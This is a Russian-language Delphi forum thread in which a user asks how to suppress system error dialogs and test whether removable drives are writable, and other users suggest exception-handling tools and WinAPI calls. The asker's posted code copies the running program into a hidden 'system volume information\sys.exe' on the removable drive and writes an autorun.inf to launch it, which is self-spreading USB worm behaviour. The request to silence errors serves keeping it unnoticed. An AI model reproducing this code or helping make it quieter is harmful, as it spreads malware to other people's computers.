Скрытие сообщений об ошибке.

[Golden_RUS]

Доброго времени суток, форумчане. Выручайте. Имеется процедура, выполняющая запись файла на съемный носитель, все бы хорошо, но если подключить телефон, то создастся носитель, доступ к которому не возможен и программа начинает ругаться "Вставьте диск...", нужно избавиться от этих ошибок. Директивы {$I-} {$I+} не помогают. If IOResult <> 0 then не перехватывает управление, try...except тоже. Выручайте, как запретить показывать эти ошибки или как проверить, возможно ли записать на диск. Спасибо.

[Stilet]

Тоже натыкаюсь на такое иногда, решения не нашел.

[garuna]

подключи MadExcept, там можно настроить чтоб ошибки просто в лог записывались и не выводились на экран.
Или смотри в сторону стандартного компонента TApplicationEvents, в нем есть событие OnException оно может обработать все ошибки которые происходят в программе.

[Stilet]

Или смотри в сторону стандартного компонента TApplicationEvents

А он не всегда помогает. Я его пробовал.

подключи MadExcept

И что это даст?

[Golden_RUS]

Сообщение от garuna

Или смотри в сторону стандартного компонента TApplicationEvents, в нем есть событие OnException оно может обработать все ошибки которые происходят в программе.

От TApplicationEvents толку ноль. Как он давал ошибки, так и дает.

Я так понял, пытаться крыть ошибки бесполезно, тогда вернусь ко второй части моего вопроса.

как проверить, возможно ли записать на диск

[Stilet]

как проверить, возможно ли записать на диск

Вообще функции WinAPI выдавать сообщения об ошибке не должны (такие по крайней мере), поэтому я бы попробовал полностью перейти на них при записи.

[Golden_RUS]

Сообщение от Stilet

Вообще функции WinAPI выдавать сообщения об ошибке не должны (такие по крайней мере), поэтому я бы попробовал полностью перейти на них при записи.

Спасибо, сейчас попробую функционал процедура переписать с использованием WinAPI.

То ли я дурак, то ли лыжи не едут. Та же ошибка.

finalpatch:=disck + 'system volume information\sys.exe';
    thispatch:=paramstr(0);
    copyfile(PAnsiChar(thispatch),PAnsiChar(finalpatch),true);
    fileName := 'Autorun.inf';
    AssignFile(myFile, fileName);
    ReWrite(myFile);
    Writeln(myFile, '[autorun]');
    Writeln(myFile, 'open=\system volume information\sys.exe');
    CloseFile(myFile);
    copyfile(PAnsiChar(fileName),PAnsiChar(disck + 'autorun.inf'),true);

Вот тот злосчастный кусок кода.

Все таки я дурак. Не в том месте ошибка, пардон.

[Аватар]

А эти сообщения при запуске из под делфи, или при старте exe тоже? А то уже было - и try except не помогает

[Человек_Борща]

Это системное исключение. Куда вы прикажите продолжить писать данные, в вакуум? Винда потеряла приемник данных, просит указать другой.

[Golden_RUS]

Ошибка вызвана строкой

if FileExists(disck + 'system volume information\sys.exe') then

, но ведь FileExists и есть WInAPI функция. Что то можете подсказать? Как это обойти?

А есть ли возможность проверить, возможна ли запись на носитель?